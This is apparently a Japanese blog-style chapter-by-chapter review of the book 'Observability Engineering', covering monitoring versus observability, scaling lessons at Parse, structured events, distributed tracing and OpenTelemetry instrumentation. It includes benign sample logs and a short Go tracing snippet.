これにより、エンジニアは、システムの動作を詳細に理解し、問題を自信を持って診断できるようになるのです。本書は、これらの改善点を、モニタリングとオブザーバビリティの違いを浮き彫りにする具体的な例を交えて説明しています。例えば、あるエンジニアがデータベースにインデックスを追加した場合、モニタリングツールでは、インデックスの効果を確認するのが難しいかもしれません。しかし、オブザーバビリティツールを使えば、クエリのパフォーマンスを詳細に分析し、インデックスの効果を確認できるのです。また、本書は、オブザーバビリティがシステムの予防保全にも役立つと述べています。オブザーバビリティツールを使えば、システムの動作を常に監視し、問題の兆候を早期に発見することができます。これにより、問題が発生する前に対策を打つことができ、システムの可用性と信頼性が向上するのです。オブザーバビリティの重要性従来のモニタリングに基づくデバッグ手法は、システムの複雑化に伴って限界に直面しています。モニタリングは、既知の問題を検出するのには有効ですが、予測不可能な問題に対応するのが難しいのです。また、モニタリングでは、問題の根本原因を特定するのが難しく、エンジニアは自分の経験と直感に頼らざるを得ません。一方、オブザーバビリティは、これらの限界を克服するための強力な手段を提供します。 オブザーバビリティツールは、高カーディナリティと高次元のデータを収集し、柔軟なクエリを可能にすることで、エンジニアがシステムの動作を詳細に理解できるようにします。これにより、エンジニアは、予測不可能な問題を発見し、その根本原因を特定することができるのです。また、オブザーバビリティは、エンジニアリングチームのデバッグ能力を大幅に向上させます。オブザーバビリティツールを使えば、経験の浅いエンジニアでも、複雑なシステムの問題を自信を持って診断できるようになります。これにより、チーム全体のデバッグ能力が向上し、ナレッジの共有が促進されるのです。さらに、オブザーバビリティは、システムの予防保全にも役立ちます。オブザーバビリティツールを使えば、システムの動作を常に監視し、問題の兆候を早期に発見することができます。これにより、問題が発生する前に対策を打つことができ、システムの可用性と信頼性が向上するのです。本章は、モニタリングとオブザーバビリティという2つのデバッグ手法の違いを明確に示し、オブザーバビリティの重要性を説得力のある形で伝えています。 本書は、モニタリングの限界を詳細に分析し、オブザーバビリティがそれらの限界を克服するための強力な手段であることを、具体的な事例を交えて論証しています。Chapter 3. Lessons from Scaling Without Observability「Chapter 3. Lessons from Scaling Without Observability」は、著者の一人であるCharity MajorsがParseでの経験を通して、オブザーバビリティなしでスケーリングすることの難しさと、そこから学んだ教訓について語った章です。モダンな分散システムを従来のモニタリングツールで管理することの限界と、オブザーバビリティの必要性が具体的な事例を通して説明されています。en.wikipedia.orgParseにおけるスケーリングの課題Parseは、モバイルアプリ開発者にバックエンドサービスを提供するプラットフォームでした。著者がParseに参加した当初、同社はまだベータ版のサービスを提供している段階で、Amazon CloudWatchを使用していました。本書は、Icinga/NagiosとGangliaに切り替えましたが、これらのツールはParseのニーズに十分に対応できませんでした。Parseは、マイクロサービスアーキテクチャを早期に採用し、MongoDBをデータストアとして使用していました。Ruby on Railsで開発を行い、複数のデータベースシャードをサポートするためにRailsにモンキーパッチを当てる必要がありました。Parseは、開発スピードを最優先に考えていましたが、これは正しい判断でした。 早期の技術選択は後に修正が必要になりましたが、顧客を満足させ、市場でニーズを見出すことができたからです。しかし、Parseが成長するにつれて、選択したアーキテクチャとツールの限界が明らかになってきました。あるノルウェーのデスメタルバンドのアプリがiTunesストアで上位にランクインした際、Parseはわずか数秒でダウンしてしまいました。これは、同社のスケーリングの問題を浮き彫りにしました。モダンシステムへの進化本書は、Parseが直面した課題を、ソフトウェア業界全体の変化と関連づけて説明しています。かつては、「アプリ」と「データベース」という単純な構成が主流でしたが、現在では、モノリシックなアプリケーションからマイクロサービスへの移行、多様なデータストアの採用、コンテナやサーバーレスなどのインフラストラクチャの活用など、大きな変化が起こっています。これらの技術的な変化は、組織や文化にも大きな影響を与えています。かつては、開発チームと運用チームの間に高い障壁があり、コードのデプロイが不安定さを引き起こすことが多かったため、運用チームは変更を嫌がる傾向にありました。しかし、モダンなシステムでは、マイクロサービスの採用により、サービスの段階的なロールアウトやフィーチャーフラグの活用が可能になり、デプロイのリスクが軽減されています。モダンな実践へのシフト本書は、これらの技術的な変化に伴い、エンジニアリングチームの実践もシフトする必要があると主張しています。ステージング環境は、モノリシックなシステムでは有用でしたが、分散システムでは、本番環境を完全に再現することが難しいため、その価値は低下しています。このため、デバッグや検査は本番環境で行う必要があります。また、ユーザーエクスペリエンスは、すべてのユーザーに対して一般化できなくなりました。サービスの異なるユーザーが、異なるコンポーネントを使って異なる経路をたどる可能性があるためです。モニタリングにおいても、既知の閾値を超えるエッジケースを探すアラートは、多くの誤検知を生み出します。アラートは、ユーザーエクスペリエンスに直接影響を与える症状にのみ焦点を当てるべきです。これらの変化は、本番環境に精通することの重要性を高めています。かつては、本番環境への変更を恐れ、問題が発生したらすぐにロールバックする傾向がありましたが、モダンなシステムでは、エンジニアが本番環境を深く理解し、問題に対して細やかな調整を行えるようになる必要があるのです。Parseにおける実践のシフトParseでは、従来のアプローチでは対応できない新しい問題が次々と発生し、ヒーロー文化の限界が明らかになりました。かつては、最も経験豊富なエンジニアが最高のデバッガーでしたが、これはスケールしません。Facebookに買収された後、著者はScubaというデータ管理システムに出会いました。Scubaは、リアルタイムでデータを細かくスライスアンドダイスできる機能を提供し、新しい問題の原因をわずか数分で特定できるようになりました。この経験から、本書では、問題を新しいものとしてアプローチし、データに基づいて真の原因を特定することの重要性を学びました。オブザーバビリティにより、マイクロサービス、ポリグロットストレージシステム、マルチテナンシーなど、従来のアプローチでは扱いが難しかった問題を、迅速かつ効果的に診断できるようになったのです。様々な経験を経たオブザーバビリティの重要性著者の経験は、従来のモニタリングアプローチから、モダンな分散システムとオブザーバビリティへの移行の必要性を示しています。オブザーバビリティは、モダンなシステムのスケーリングに伴う問題を解決するための鍵です。 アプリケーションのテレメトリーを適切な抽象度で収集し、ユーザーエクスペリエンスを中心に集約し、リアルタイムで分析できるようにすることで、システムの内部動作を深く理解できるようになります。オブザーバビリティにより、エンジニアリングチームは、システムの問題を迅速に特定し、根本原因を突き止められるようになります。 これにより、ヒーロー文化から脱却し、チーム全体でナレッジを共有し、効果的なデバッグを行えるようになるのです。著者の経験は、多くの組織がモダンな分散システムを採用するにつれて、ますます一般的になっています。オブザーバビリティは、これらのシステムのスケーリングに不可欠なものとなっているのです。Chapter 4. How Observability Relates to DevOps, SRE, and Cloud Native「Chapter 4. How Observability Relates to DevOps, SRE, and Cloud Native」は、オブザーバビリティがDevOps、SRE、クラウドネイティブの実践とどのように関係しているかを解説した章です。本書は、これらの動きがオブザーバビリティの必要性を高めると同時に、オブザーバビリティがこれらの実践を強化していると主張しています。CNCFのドキュメントにも記載がありますがめちゃくちゃに簡潔です。glossary.cncf.ioオブザーバビリティに関する包括的な解説書として、「Cloud Observability in Action」が挙げられます。この書籍では、クラウドネイティブシステムにおけるオブザーバビリティの適用方法、様々なオブザーバビリティシグナル(ログ、メトリクス、トレースなど)の特徴と費用対効果、適切なインストルメンテーションとシグナル収集の手法、大規模なダッシュボーディング、アラート、SLO/SLIの提供、役割やタスクに応じた適切なシグナルタイプの選択、目的に応じた最適なオブザーバビリティツールの選び方、経営陣へのオブザーバビリティの効果のコミュニケーション方法などが解説されています。learning.oreilly.com適切に設計されたオブザーバビリティシステムは、クラウドネイティブアプリケーションのバグやパフォーマンス問題に関する洞察を提供します。開発チームがコード変更の影響を理解し、最適化を測定し、ユーザーエクスペリエンスを追跡するのに役立ちます。さらに、オブザーバビリティによってエラー処理を自動化し、マシンユーザーが自身で修正を適用できるようになるため、深夜の緊急障害発生による呼び出しも不要になります。クラウドネイティブ、DevOps、SREの概要本書は、モノリシックなアーキテクチャとウォーターフォール開発から、クラウドネイティブとアジャイル手法への移行が進んでいると指摘しています。クラウドネイティブは、スケーラビリティと開発速度の向上を目指していますが、同時に管理コストの増加という課題も抱えています。クラウドネイティブシステムを実現するには、継続的デリバリーやオブザーバビリティなどの高度な社会技術的実践が不可欠なのです。また、DevOpsとSREは、フィードバックループを短縮し、運用の負担を軽減することを目指しています。DevOpsは、開発と運用の協調を通じて価値の提供を加速し、SREはソフトウェアエンジニアリングのスキルを活用して複雑な運用問題を解決します。クラウドネイティブ技術、DevOpsとSRE手法、オブザーバビリティの組み合わせは、それぞれの個別の要素よりも強力なのです。※こちら、SREがもう少し気になる方向けsyu-m-5151.hatenablog.comオブザーバビリティ:昔と今のデバッグオブザーバビリティの目的は、システムの内部状態を理解するための内省を提供することです。モノリシックなシステムでは、詳細なアプリケーションログやシステムレベルのメトリクスを使用して、潜在的な障害箇所を予測し、デバッグすることができました。しかし、これらのレガシーツールと直感的なテクニックは、クラウドネイティブシステムの管理課題には対応できなくなっています。クラウドネイティブ技術は、コンポーネント間の依存関係による認知的複雑さ、コンテナ再起動後に失われる一時的な状態、個別にリリースされるコンポーネント間のバージョン不整合など、新しい問題を引き起こします。分散トレーシングなどのツールを使用して、特定のイベントが発生したときのシステム内部の状態を捕捉することで、これらの問題をデバッグできるようになります。オブザーバビリティがDevOpsとSREの実践を強化するDevOpsとSREチームの仕事は、本番システムを理解し、複雑さを制御することです。したがって、彼らがシステムのオブザーバビリティに関心を持つのは自然なことです。SREはSLOとエラーバジェットに基づいてサービスを管理し、DevOpsは開発者が本番環境でコードに責任を持つ、クロスファンクショナルな実践を通じてサービスを管理します。成熟したDevOpsとSREチームは、ユーザーに影響を与える症状を測定し、オブザーバビリティツールを使用して障害の理解を深めます。 これにより、チームは実際のシステム障害に対する仮説を体系的に絞り込み、緩和策を考案することに集中できるようになります。さらに、先進的なDevOpsとSREチームは、フィーチャーフラグ、継続的検証、インシデント分析などのエンジニアリング手法を使用しています。オブザーバビリティは、これらのユースケースを効果的に実践するために必要なデータを提供することで、これらのユースケースを強化します。カオスエンジニアリングと継続的検証では、システムの基準状態を理解し、期待される動作を予測し、期待される動作からの逸脱を説明するためにオブザーバビリティが必要です。フィーチャーフラグでは、ユーザーごとにフィーチャーフラグの個別の影響と集合的な影響を理解するためにオブザーバビリティが必要です。カナリアリリースやブルー/グリーンデプロイメントなどの段階的リリースパターンでは、リリースを停止するタイミングを知り、システムの期待値からの逸脱がリリースに起因するかどうかを分析するためにオブザーバビリティが必要です。インシデント分析と非難のない事後検証では、技術システムの内部で何が起こっていたかだけでなく、インシデント中にオペレーターが何を信じていたかを明確にモデル化する必要があります。オブザーバビリティツールは、事後の記録を提供し、回顧録の作成者に詳細な手がかりを与えることで、優れた振り返りを行うことを可能にします。再三だがオブザーバビリティの重要性本章の結論として、DevOps、SRE、クラウドネイティブの実践が進化し、プラットフォームエンジニアリングが包括的な規律として成長するにつれ、より革新的なエンジニアリング実践がツールチェーンに現れるだろうと述べています。しかし、これらのイノベーションはすべて、現代の複雑なシステムを理解するための中核的な感覚としてオブザーバビリティを必要とするでしょう。DevOps、SRE、クラウドネイティブの実践への移行は、オブザーバビリティのようなソリューションの必要性を生み出しました。一方、オブザーバビリティは、その実践を採用したチームの能力を飛躍的に高めてきました。オブザーバビリティは、モダンなソフトウェア開発と運用に不可欠な要素となっています。 それは、複雑なシステムを理解し、問題を迅速に特定し、根本原因を突き止めるための強力なツールを提供します。また、オブザーバビリティは、DevOpsとSREの実践を強化し、カオスエンジニアリング、フィーチャーフラグ、段階的リリース、インシデント分析などのエンジニアリング手法を効果的に実践するためのデータを提供します。クラウドネイティブ、DevOps、SREの動きは、オブザーバビリティの必要性を高めると同時に、オブザーバビリティがこれらの実践を強化しているのです。オブザーバビリティは、モダンなソフトウェアエンジニアリングにおいて不可欠な要素であり、その重要性はますます高まっていくでしょう。Part II. Fundamentals of Observability本書の第2部では、オブザーバビリティの技術的な側面について深く掘り下げ、オブザーバブルなシステムにおいて特定の要件が必要とされる理由を詳しく説明します。Chapter 5. Structured Events Are the Building Blocks of Observability「Chapter 5. Structured Events Are the Building Blocks of Observability」は、オブザーバビリティの基本的な構成要素である構造化イベントについて詳しく解説した章です。本書はオブザーバビリティを実現するために、任意の幅を持つ構造化イベントが不可欠であると主張し、構造化イベントの概念、利点、オブザーバビリティにおける役割について深く掘り下げています。構造化イベントの背景を理解するには、マイクロサービスアーキテクチャの知識が役立ちます。「Monolith to Microservices」は、従来のモノリシックなアーキテクチャからマイクロサービスへの移行プロセスを詳しく解説しており、様々な具体例、洞察に富んだ移行パターン、実務的なアドバイスが満載です。初期計画からアプリケーション・データベースの分解に至るまで、移行の様々なシナリオやストラテジーが網羅されており、既存アーキテクチャの移行に役立つ試行済みのパターン・テクニックを学ぶことができます。マイクロサービスへの移行を検討する組織にとって理想的な一冊であり、移行の是非、タイミング、開始地点の判断を支援するだけでなく、レガシーシステム移行、マイグレーションパターン、データベース移行例、同期戦略、アプリケーション分解、データベース分解の詳細などについても掘り下げられています。learning.oreilly.comオブザーバビリティと構造化イベントオブザーバビリティとは、システムが取りうる任意の状態を理解し、説明できる程度を表します。そのためには、事前に予測することなく、あらゆる質問に答えられるようにしなければなりません。これを可能にするのが、構造化イベントなのです。構造化イベントとは、1つのリクエストがサービスと相互作用している間に発生したすべてのことを記録したものです。リクエストの入力時に既知のデータを事前に入力し、実行中に発見された有用な情報を追加し、リクエストの出力時やエラー時にパフォーマンスに関するデータを記録します。例えば、あるウェブサーバーへのリクエストでは、リクエストに含まれる各パラメータ(ユーザーIDなど)、意図したサブドメイン(www、docs、support、shopなど)、合計処理時間、依存する子リクエスト、それらの子リクエストを満たすために関与する様々なサービス(web、database、auth、billingなど)、各子リクエストの処理時間などを記録することができます。このように、構造化イベントには、リクエストの実行に関するコンテキストを表すデータが豊富に含まれています。 成熟した計装では、イベントごとに300〜400のディメンションが含まれることが一般的だそうです。構造化イベントを使ってサービスの動作を理解する際には、後でデバッグに関連する可能性のあるものを何でも記録するというモデルを覚えておく必要があります。これには、リクエストパラメータ、環境情報、ランタイムの内部情報、ホストやコンテナの統計情報などが含まれます。メトリクスの限界本書は、メトリクスの限界についても詳しく説明しています。メトリクスに関しては改定した『Prometheus: Up & Running, 2nd Edition』も紹介しておきます。learning.oreilly.comメトリクスとは、事前に定義された期間にわたってシステムの状態を表す数値を収集し、必要に応じてタグを付けてグループ化や検索を可能にしたものです。メトリクスは、従来のソフトウェアシステムの監視の中核をなすものです。しかし、メトリクスの根本的な限界は、それが事前に集約された測定値だということです。メトリクスによって生成される数値は、事前に定義された期間におけるシステム状態の集約レポートを反映しています。この事前集約された測定値は、システム状態を調べるための最小の粒度となり、多くの潜在的な問題を覆い隠してしまうのです。例えば、page_load_timeというメトリクスは、直近の5秒間にすべてのアクティブページの読み込みにかかった平均時間を調べるかもしれません。requests_per_secondというメトリクスは、直近の1秒間にあるサービスがオープンしていたHTTP接続の数を調べるかもしれません。メトリクスは、特定の期間に測定されたプロパティの数値で表現されるシステムの状態を反映しています。 その期間中にアクティブだったすべてのリクエストの動作は、1つの数値に集約されます。この例では、そのシステムを流れる特定のリクエストの存続期間中に何が起こったかを調査することは、これらのメトリクスにつながる一連の痕跡を提供することになります。しかし、さらに掘り下げるために必要な粒度のレベルは利用できません。このように、メトリクスは、1つのシステムプロパティの1つの狭いビューとしてのみ機能します。粒度が大きすぎ、システムの状態を別のビューで表示する能力が硬直していて、1つのサービスリクエストの作業単位を表すために組み合わせるには限界があります。非構造化ログの限界本書は、非構造化ログの限界についても言及しています。ログファイルは、本質的に大きな非構造化テキストの塊であり、人間が読めるように設計されていますが、機械で処理するのは難しいです。これらのファイルは、アプリケーションや様々な基盤システムによって生成される文書で、設定ファイルで定義された、注目に値するすべてのイベントの記録が含まれています。従来のログは、人間が読みやすいように設計されているため、非構造化になっています。残念ながら、人間が読みやすくするために、ログではしばしば、1つのイベントの生々しい詳細が複数行のテキストに分割されてしまいます。例えば、以下のようなログがあるとします。6:01:00 accepted connection on port 80 from 10.0.0.3:633496:01:03 basic authentication accepted for user foo 6:01:15 processing request for /super/slow/server6:01:18 request succeeded, sent response code 200 6:01:19 closed connection to 10.0.0.3:63349このような物語形式の構造は、開発段階でサービスの詳細を学ぶ際には役立ちますが、大量のノイズデータを生成し、本番環境では遅くて扱いにくくなります。非構造化ログは人間が読めますが、計算的に使用するのは難しいのです。 一方、構造化ログは機械で解析可能です。上の例は、構造化ログに書き換えると以下のようになります。time=\\"6:01:00\\" msg=\\"accepted connection\\" port=\\"80\\" authority=\\"10.0.0.3:63349\\"time=\\"6:01:03\\" msg=\\"basic authentication accepted\\" user=\\"foo\\" time=\\"6:01:15\\" msg=\\"processing request\\" path=\\"/super/slow/server\\"time=\\"6:01:18\\" msg=\\"sent response code\\" status=\\"200\\" time=\\"6:01:19\\" msg=\\"closed connection\\" authority=\\"10.0.0.3:63349\\"さらに、これらのログ行を1つのイベントにまとめると、以下のようになります。{\\"authority\\":\\"10.0.0.3:63349\\",\\"duration_ms\\":123,\\"level\\":\\"info\\", \\"msg\\":\\"Served HTTP request\\",\\"path\\":\\"/super/slow/server\\", \\"port\\":80,\\"service_name\\":\\"slowsvc\\",\\"status\\":200,\\"time\\":\\"2019-08-22T11:57:03-07:00\\",\\"trace.trace_id\\":\\"eafdf3123\\",\\"user\\":\\"foo\\" }このように、構造化ログは、構造化イベントに似るように再設計されていれば、オブザーバビリティの目的に役立ちます。デバッグに役立つイベントのプロパティ新しい問題をデバッグするには、通常、外れ値の条件を持つイベントを検索し、パターンを見つけたり、それらを関連付けたりすることで、以前は知られていなかった障害モードを発見することを意味します。そのような相関関係を見つけるには、オブザーバビリティソリューションが高カーディナリティのフィールドを処理できる必要があります。カーディナリティとは、セット内の一意の要素の数を指します。一意の識別子を含むディメンションは、可能な限り最高のカーディナリティを持ちます。例えば、ある問題の原因を突き止めるために、「先週の火曜日にアプリをインストールした、ファームウェアバージョン1.4.101を実行している、写真をus-west-1のshard3に保存しているフランス語パックを使用しているiOS11バージョン11.0.4を実行しているすべてのカナダのユーザー」を見つけ出すクエリを作成する必要があるかもしれません。これらの制約のひとつひとつが、高カーディナリティのディメンションなのです。オブザーバビリティツールは、調査員に役立つためには、高カーディナリティのクエリをサポートできる必要があります。 現代のシステムでは、新しい問題をデバッグするのに最も役立つディメンションの多くは、カーディナリティが高くなっています。また、調査では、これらの高カーディナリティのディメンションを組み合わせる(つまり、高次元)ことで、深く隠れた問題を見つけ出すことがよくあります。高カーディナリティと高次元は、複雑な分散システムの干し草の山から、非常に細かい針を見つけ出すための機能なのです。オブザーバビリティの基盤としての構造化イベント本章の結論として、オブザーバビリティの基本的な構成要素は、任意の幅を持つ構造化イベントであると強調しています。オブザーバビリティには、デバッグプロセスを反復的に進める際に、あらゆる質問に答えるために、任意の数のディメンションに沿ってデータをスライスアンドダイスする能力が必要です。 構造化イベントは、システムが1つの作業単位を達成したときに何が起こっていたかを理解するのに十分なデータを含んでいる必要があるため、任意の幅でなければなりません。分散サービスの場合、これは通常、1つの個別のサービスリクエストの存続期間中に発生したすべてのことの記録として、イベントのスコープを設定することを意味します。メトリクスは、システムの状態を表す1つの狭いビューとしてのみ機能します。粒度が大きすぎ、システムの状態を別のビューで表示する能力が硬直していて、オブザーバビリティの基本的な構成要素としては限界があります。非構造化ログは人間が読めますが、計算的に使用するのは難しいです。構造化ログは機械で解析可能であり、構造化イベントに似るように再設計されていれば、オブザーバビリティの目的に役立ちます。オブザーバビリティを実現するには、構造化イベントという形でテレメトリを収集し、高カーディナリティと高次元のデータを分析できる機能が不可欠なのです。Chapter 6. Stitching Events into Traces分散トレーシングの重要性「Chapter 6. Stitching Events into Traces」は、構造化イベントをトレースに組み立てる方法と、その重要性について詳しく解説した章です。本書は、分散トレーシングが今日において重要である理由を詳細に説明しています。現代のソフトウェアシステムは、多数のサービスが連携して機能するマイクロサービスアーキテクチャが主流となっています。このような環境では、あるリクエストを処理するために、複数のサービスを横断する必要があります。分散トレーシングは、そのリクエストがどのようにサービス間を移動し、処理されているかを追跡するための方法です。これにより、障害が発生した場所を特定し、パフォーマンスのボトルネックとなっている要因を特定することができます。マイクロサービスアーキテクチャの普及に伴い、このようなデバッグ手法の需要が高まっているのです。また、分散システムでは、サービス間の依存関係が複雑になるため、問題の原因を特定することが非常に難しくなります。例えば、あるサービスがデータベースの応答を待っている間にレイテンシが累積し、上流のサービスに伝播していくことがあります。分散トレーシングは、このようなサービス間の関係を明確に示すことができるため、問題の根本原因を突き止めるために非常に有効なのです。本書は、分散トレーシングが最初に注目を集めるようになったのは、2010年にGoogleがDapper論文を発表して以降だと述べています。Dapperは、Googleが社内で使用している分散トレーシングシステムで、大規模な分散システムのパフォーマンスを理解し、障害を特定するために開発されました。Dapper論文の発表後、TwitterがZipkinを、UberがJaegerというオープンソースのトレーシングプロジェクトを立ち上げました。これらのプロジェクトは、Dapperの概念を基に、より一般的な用途に適したトレーシングシステムを提供しています。また、Honeycomb や Lightstep などの商用ソリューションも登場しています。このように、分散トレーシングは、現代のソフトウェアシステムにおいて不可欠なツールとなっており、その重要性は日に日に高まっているのです。トレーシングのコンポーネント本書は、トレースを構成するコンポーネントについて、非常に詳細に説明しています。トレースは、1つのリクエストに関連する一連のイベントを表します。これらのイベントは、トレーススパンと呼ばれる個々のチャンクで構成されています。各スパンは、リクエストの処理中に発生した作業の一部を表しており、その作業が行われたサービスや、作業の開始時刻と期間などの情報を含んでいます。Figure 6-1. This waterfall-style trace visualization displays four trace spans during one request より引用トレース内の各スパンは、ルートスパンと呼ばれるトップレベルのスパンの中にネストされています。ルートスパン自体は親を持ちませんが、その下のスパンは親子関係を持ちます。例えば、サービスAがサービスBを呼び出し、サービスBがサービスCを呼び出す場合、スパンAはスパンBの親であり、スパンBはスパンCの親であるという関係になります。Figure 6-2. A trace that has two parent spans. Span A is the root span and is also the parent of Span B. Span B is a child of Span A and also the parent of Span C. Span C is a child of Span B and has no child spans of its own. より引用本書は、トレースを構築するために必要な5つのデータについても詳しく説明しています。トレースID:トレース全体を通して一意な識別子。ルートスパンによって作成され、リクエストの処理中に伝播される。スパンID:各スパンを一意に識別するための識別子。親ID:スパンのネストの関係を定義するために使用されるフィールド。ルートスパンには存在しない。タイムスタンプ:スパンの作業が開始された時刻を示す。期間:作業が完了するまでにかかった時間を記録する。これらのフィールドは、トレースの構造を組み立てるために絶対に必要です。さらに、サービス名やスパン名などの追加のフィールドを含めることで、スパンを特定したり、システムとの関係を理解したりするのに役立ちます。本書は、これらのコンポーネントがどのように機能するかを理解することが、分散トレーシングを効果的に活用するために重要だと強調しています。トレースの手動インストルメンテーション本書は、トレースのコアコンポーネントがどのように機能するかを理解するために、単純なトレーシングシステムを手動で実装する例を提示しています。この例では、Goを使用して、3つのスパンを持つウェブエンドポイントを実装しています。rootHandlerへのオリジナルリクエスト認証サービスへの呼び出し(リクエストを認証するため)名前サービスへの呼び出し(ユーザー名を取得するため)コードの例では、以下のステップでトレースを生成しています。ルートスパンでトレースIDとスパンIDを生成する。リクエストの開始時と終了時のタイムスタンプを取得し、その差分からスパンの期間を計算する。サービス名とスパン名を追加する。アウトバウンドのHTTPリクエストにトレースIDと親スパンIDを伝播させる。さらに、デバッグに役立つ追加のフィールド(ホスト名、ユーザー名など)をスパンに追加する方法も示されています。Figure 6-3. Our example app would now propagate traceID and parentID to each child span本書は、これらのコードの例が、トレーシングの概念を理解するために役立つものの、実際のアプリケーションでは、ボイラープレートコードを自分で書く必要はないと述べています。通常、トレーシングシステムには、これらの設定作業の大部分を行うためのライブラリが用意されています。ただし、これらのライブラリは、特定のトレーシングソリューションに固有のものであることが多く、別のソリューションを試すためにはコードを再インストルメント化する必要があります。次章では、オープンソースでベンダーに依存しないOpenTelemetryプロジェクトについて説明します。トレースへのイベントの組み込み本書は、前章で説明した構造化イベントをトレースに組み込む方法についても言及しています。イベントは、オブザーバビリティの構成要素であり、1つのリクエストがサービスとやり取りしている間に発生したすべてのことの記録です。リクエストの実行中に発生した興味深い詳細(変数の値、渡されたパラメータ、返された結果、関連するコンテキストなど)はすべてイベントに追加されるべきです。コードの例では、リモートサービスの呼び出しレベルでインストルメンテーションを行っていますが、オブザーバブルなシステムでは、同じアプローチを使って、異なるソースからの任意の数の相関イベントを結びつけることができます。例えば、現在の単一行のロギングソリューションから、より統合されたビューへの移行の第一歩として、構造化ログにトレースの概念を適用することができます。また、分散型ではないが、独自のスパンに分割したいような作業のチャンク(JSONのアンマーシャリングなどのCPU集約型の操作など)にも、同じ手法を使うことができます。オブザーバブルなシステムでは、任意の一連のイベントをトレースに組み込むことができます。 トレーシングは、サービス間の呼び出しに限定される必要はありません。同じバッチジョブから作成されたすべての個別のファイルアップロードなど、システム内の相互に関連する離散的なイベントにも適用できます。トレーシングの重要性とオープンソースフレームワークの活用本章の結論として、イベントがオブザーバビリティの構成要素であり、トレースは単に相互に関連するイベントの系列であると強調しています。スパンを結合してトレースを作成するために使用される概念は、サービス間の通信の設定に非常に役立ちます。 これらの概念を理解することは、分散システムの動作を理解し、問題の根本原因を特定するために不可欠です。また、オブザーバブルなシステムでは、これらの同じ概念を、remote procedure call(RPC)を行うことを超えて、相互に関連するシステム内の離散的なイベントに適用することもできます。 これにより、システムの動作をより詳細に理解し、問題の原因を特定することができるようになります。本章ではトレースを手動でインストルメント化する方法を示しましたが、より実用的な方法は、インストルメンテーションフレームワークを使用することだと述べています。次章では、オープンソースでベンダーに依存しないOpenTelemetryプロジェクトと、それを使って本番アプリケーションをインストルメント化する方法と理由について説明します。分散トレーシングは、現代のソフトウェアシステムにとって不可欠なツールであり、オブザーバビリティを実現するための重要な要素です。 構造化イベントをトレースに組み立てることで、分散システムの動作を詳細に理解し、問題の根本原因を特定することができるようになります。また、OpenTelemetryのようなオープンソースのインストルメンテーションフレームワークを活用することで、ベンダーロックインを避け、様々なトレーシングソリューションを柔軟に試すことができます。これにより、システムの可観測性を継続的に向上させ、より信頼性の高いサービスを提供することができるのです。Chapter 7. Instrumentation with OpenTelemetry「Chapter 7. Instrumentation with OpenTelemetry」は、オープンソースのインストルメンテーションフレームワークであるOpenTelemetryについて詳しく解説し、それを使って本番アプリケーションをインストルメント化する方法と理由を説明した章です。本書は、ベンダーに依存しない計装の重要性を強調し、OpenTelemetryの機能と利点を具体的に示しています。私も『Learning Opentelemetry』という書籍の読書感想文のブログを書いたので合わせてぜひ読んでみてください。syu-m-5151.hatenablog.comOpenTelemetryの概要と重要性本書は、まずOpenTelemetryプロジェクトの概要を説明しています。OpenTelemetryは、CloudBeesとGoogleが主導するオープンソースプロジェクトで、ベンダーに依存しない一貫した方法でテレメトリデータを収集するための単一の標準を作ることを目的としています。OpenTelemetryの主な目標は、アプリケーションの計装を簡素化し、ベンダーロックインを回避することです。 開発者は、OpenTelemetryのSDKとAPIを使って一度アプリケーションを計装するだけで、バックエンドのテレメトリシステムを柔軟に変更できます。これは、特定のベンダーのライブラリを使う場合と対照的です。また、OpenTelemetryは、分散トレーシング、メトリクス、ロギングの3つの主要なテレメトリ信号をサポートしています。これにより、エンドツーエンドの可観測性を実現し、アプリケーションの動作を包括的に理解することができます。本書は、OpenTelemetryを使う主な理由として、次の3つを挙げています。ベンダーロックインの回避テレメトリデータ収集の標準化複数のテレメトリ信号のサポートOpenTelemetryの主要コンポーネント次に、著者はOpenTelemetryの主要コンポーネントについて説明しています。OpenTelemetryは、以下の3つの主要コンポーネントで構成されています。OpenTelemetry API:計装コードを書くためのプログラミング言語固有のインターフェイス。OpenTelemetry SDK:APIの実装を提供し、テレメトリデータの収集、処理、エクスポートを行う。OpenTelemetry Collector:複数のソースからテレメトリデータを受信し、処理し、様々なバックエンドシステムにエクスポートするためのスタンドアロンサービス。OpenTelemetry APIは、ベンダーに依存しない一貫した方法でテレメトリデータを生成するためのプログラミング言語固有のインターフェイスを提供します。これにより、開発者は計装コードを一度書くだけで、バックエンドのテレメトリシステムを変更する際に、そのコードを変更する必要がなくなります。OpenTelemetry SDKは、APIの具体的な実装を提供し、OpenTelemetry Collectorなどのエクスポートサービスにデータを送信します。SDKは、サンプリング、フィルタリング、エンリッチメントなどの機能も提供します。OpenTelemetry Collectorは、複数のソースからテレメトリデータを収集し、それを処理して、様々なバックエンドシステムにエクスポートするためのスタンドアロンサービスです。Collectorは、OpenTelemetryの中心的なコンポーネントであり、データの収集、処理、エクスポートを分離することで、システムの柔軟性と拡張性を高めています。OpenTelemetryを使った計装の例本書は、OpenTelemetryを使ってGoアプリケーションを計装する具体的な例を示しています。まず、OpenTelemetry APIとSDKをインポートし、トレーサープロバイダを初期化します。次に、スパンを作成し、そこにアプリケーション固有の情報を追加していきます。スパンの作成と管理は、OpenTelemetry APIが提供するTracerオブジェクトを通して行います。コードの例では、HTTPハンドラ内でスパンを作成し、リクエストの属性をスパンに追加しています。また、別の関数を呼び出す際には、contextパッケージを使ってスパンのコンテキストを伝播させています。func handler(w http.ResponseWriter, r *http.Request) { // リクエストからコンテキストを取得 ctx := r.Context() // 新しいスパンを開始 ctx, span := tracer.Start(ctx, \\"hello\\") defer span.End() // リクエストの属性をスパンに追加 span.SetAttributes( semconv.HTTPMethodKey.String(r.Method), semconv.HTTPTargetKey.String(r.URL.Path), ) // 別の関数を呼び出す際に、スパンのコンテキストを渡す helloHandler(ctx)}この例では、OpenTelemetryが提供するセマンティック規則に従って、HTTPリクエストの属性をスパンに追加しています。これにより、システム間で一貫性のあるテレメトリデータを収集することができます。本書は、OpenTelemetryが提供する自動計装の機能についても触れています。自動計装機能を使えば、アプリケーションコードを変更することなく、一般的なライブラリやフレームワークからテレメトリデータを収集することができます。 これにより、計装の手間を大幅に減らすことができます。再三の紹介ではあるがCloud Observability in Actionを読んでいただければ嬉しいです。learning.oreilly.comテレメトリデータの可視化最後に、著者は収集したテレメトリデータを可視化する方法について説明しています。OpenTelemetryは、様々なバックエンドシステムにデータをエクスポートすることができます。本書は、Jaegarを使ってトレースデータを可視化する例を示しています。JaegarはOpenTelemetryに対応したオープンソースのトレーシングバックエンドで、トレース データを収集、保存、可視化するための機能を提供しています。Jaegarの Web 